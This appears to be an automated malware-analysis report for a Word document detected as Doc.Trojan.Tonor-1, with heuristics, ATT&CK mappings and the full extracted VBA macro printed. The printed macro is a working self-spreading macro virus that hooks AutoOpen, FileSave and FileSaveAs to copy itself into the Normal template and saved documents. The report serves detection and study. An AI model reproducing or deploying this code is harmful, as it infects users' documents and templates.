MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to the Normal template and the current document, potentially to establish persistence or spread. The ClamAV detection 'Doc.Trojan.Tonor-1' further supports its malicious nature. The macro's intent to spread and persist is evident from its self-copying behavior.
Heuristics 4
-
ClamAV: Doc.Trojan.Tonor-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Tonor-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1774 bytes |
SHA-256: c7b9897f8ac33f214e5c3d88fa3e387c8664c3144786501fda2c9a37760f91c5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Tonor-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "TONORMAL"
Public Sub AutoOpen()
If Templates(1).AutoTextEntries.Item(1) = "IAMHERE" Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
Destination:=Application.Templates(1).FullName, Name:="TONORMAL", _
Object:=wdOrganizerObjectProjectItems
Templates(1).AutoTextEntries.Add("- AAAAAAAA", ActiveDocument.Words(1)) = "IAMHERE"
done:
On Error GoTo kill
kill:
End Sub
Public Sub FileSaveAs()
Dim kobar As String
If (ActiveDocument.Variables.Count > 0) Then If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"
done:
ActiveDocument.SaveAs (Dialogs(wdDialogFileSaveAs).Name)
On Error GoTo kill
kill:
End Sub
Public Sub FileSave()
If ActiveDocument.Variables.Count > 0 Then
If (ActiveDocument.Variables.Item(1).Value = "OK") Then GoTo done
Else
Application.OrganizerCopy Source:=MacroContainer.FullName, _
Destination:=ActiveDocument.FullName, Name:="TONORMAL", _
Object:=wdOrganizerObjectProjectItems
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK"
End If
done:
ActiveDocument.Save
On Error GoTo kill
kill:
End Sub
Public Sub about()
' VIRUS 8x64oct
' FROM ESTONIA
' NOT HARMFUL
' ONLY SPREADS
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.